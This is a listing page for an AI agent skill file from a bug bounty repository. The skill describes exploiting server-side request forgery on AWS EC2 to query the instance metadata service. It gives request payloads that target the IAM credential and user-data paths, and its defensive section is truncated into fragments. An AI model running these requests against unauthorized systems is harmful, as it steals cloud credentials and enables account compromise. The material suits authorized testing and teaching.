Aws metadata ssrf
bb-huge ๐ค , Personal bug bounty findings hub and bug bounty orchestration for multiple agents
npx -y skills add ShulkwiSEC/bb-huge --skill aws-metadata-ssrfAssembled from the repository path, not quoted from the project. Check it against their README if it does not work.
One thing to look at
- 18 stars18 stars. Stars are a popularity signal and not a quality one, but at this level it is likely that nobody has read this closely except its author, and you would be relying on your own review.
What its author says it does
Copied from the file, not written here
Exploit Server-Side Request Forgery (SSRF) vulnerabilities in applications hosted on AWS EC2 instances to extract IAM credentials and User Data from the Instance Metadata Service (IMDS). This skill covers techniques for bypassing basic filters to access IMDSv1 and concepts of IMDSv2.
The file declares its own license as Apache-2.0. That is the authorโs claim about this one file, and it is not the same thing as the license GitHub reports for the repository, which is listed with the other numbers below.
SKILL.md
4.2 KB, 887 tokens by cl100k_base, as published. Nobody here has run it
AWS IMDS SSRF Exploitation
When to Use
- During a penetration test of a web application hosted on AWS EC2 or ECS that exhibits SSRF vulnerabilities.
- To demonstrate impact by escalating from a web vulnerability to AWS cloud infrastructure compromise via IAM credential theft.
Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture
Workflow
Phase 1: Identifying the SSRF
# Concept: Test the target application for SSRF GET /fetch_url?url=http://example.com HTTP/1.1
Host: target.app
Phase 2: Querying AWS IMDSv1
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1
Host: target.app
Phase 3: Extracting IAM Roles and Credentials
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ HTTP/1.1
# GET /fetch_url?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/WebServerRole HTTP/1.1
(The response will contain a JSON object with AccessKeyId, SecretAccessKey, and Token)
Phase 4: Accessing User Data
# # GET /fetch_url?url=http://169.254.169.254/latest/user-data HTTP/1.1
(User Data often contains sensitive initialization scripts, database passwords, or API keys).
Decision Point ๐
flowchart TD
A[Send IMDS Payload ] --> B{Response 200 OK? }
B -->|Yes| C[Extract Data ]
B -->|No/401| D[IMDSv2 Enforced? ]
C --> E[Configure AWS CLI ]
๐ต Blue Team Detection & Defense
- Migrate to IMDSv2: Network Restrictions: Least Privilege IAM: Key Concepts | Concept | Description | |---------|-------------|
Output Format
Aws Metadata Ssrf โ Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] โ [Brief description]
[Finding 2]: [Severity] โ [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
๐ Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.mdโ Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.mdโ HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.mdโ Verified disclosed bounties by vulnerability class
References
- AWS Docs: Instance Metadata Service
- Rhino Security Labs: AWS IAM Privilege Escalation
What ships with it: 2 files
8.3 KB alongside SKILL.md, 1 of them executable
evals/
- evals.json520 B
scripts/
- process.pyruns7.8 KB